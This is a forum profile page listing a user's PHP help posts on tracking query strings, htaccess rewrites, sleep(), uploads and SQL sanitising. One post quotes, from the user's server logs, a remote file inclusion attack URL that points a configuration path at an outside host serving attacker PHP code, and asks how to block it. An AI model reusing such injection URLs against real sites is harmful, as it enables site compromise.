Jump to content

deansatch

Members
  • Posts

    300
  • Joined

  • Last visited

Posts posted by deansatch

  1. I'm assuming that a hacker doing these url type exploits is hoping to come across (with luck) an:

     

     if(isset($_GET['hack'])){
    //something
    } 

    sort of thing where they have site.com?hack=http://hackerscode.txt

    I noticed a lot of the attempts were using ?page=something or ?pg=something etc...

     

    I still have no idea how they managed to succeed the last time. But they managed to plant a couple of php files that wrote new code to my index file.

  2. I had recently had my site hacked and managed to clear it all up. I have been checking my logs and another attempt is being made on my site using injection via the url. They are visiting my site using things like:

     

    http://mysite.com//index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[itemid]=1&GLOBALS=&mosConfig_absolute_path=http://test.bigshop.cz/uploaded/two??

     

    If you look at http://test.bigshop.cz/uploaded/two?? and view the source you can see their php code.

     

    Is there anything I can do to stop them even trying?

  3. Why use the query string for tracking at all?  Why not just store the value in the user's session.

     

    Because I am trying to see which link was clicked on on a page which may have a few different links to the same page e.g. click here, sign up, and an image - I want to know which one is clicked on.

  4. I have added a little query string to some of my links for tracking e.g. mysite.com/page2.php?track1

     

    For fear of damaging SEO and for vanity, I want that query string to disappear when the user lands on the page. BUT, I want to echo the query string on that page. (don't ask why)

     

    I tried using a rewrite in htaccess:

    RewriteCond %{QUERY_STRING} .

    RewriteRule ^(.*)page2.php$ http://mysite.com/page2.php$1? [R=301,L]

     

    This removes it fine but it doesn't echo it out since it removes it before it gets to: echo $_SERVER["QUERY_STRING"];

     

    Is there any way to achieve this without affecting my usually 'un-query_stringed' urls with regards to SEO?

     

  5. How about using ajax and submitting the details of stage 1 on blur() of the final input for that stage. Something along the lines of how a username field would check for availability when moving to the password field etc...

     

    btw- I assume by having all stages on one page you are meaning that all the form fields will be available in one go? Otherwise just store details in a session

  6. The only use I can imagine for sleep() is if you are limited to say 1000 emails per hour and you have written a mailing script with more than 1000 recipients you would mail 1000 then slepp() for an hour then mail another 1000 etc... But wouldn't that mean your browser would be open for hours and timeouts would still occur?

  7. I haven't actually got a problem, I am working something out in theory before starting a script to get the best way to do it - i.e. huge file uploads via a browser.

     

    I suggested sleep() as it is something I came across and wondered if a)it would help this and b)what is its uses?

  8. This does nothing:

     

    $Customer;

     

    It makes your mysql query no table.

     

    \it should be something like this:

    $Customer = 'customer_table';

     

    EDIT: You really need to sanitise things first e.g. mysql_real_escape_string(), check valid email types etc...

  9. integrate php ftp. I have never done it because i dont need it

     

    I looked into php ftp and from what I can gather, you can't "UPLOAD" via php ftp, you can upload via http (hence my post) then use ftp to transfer it from one server to another (rendering it a pretty useless function in my eyes).

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.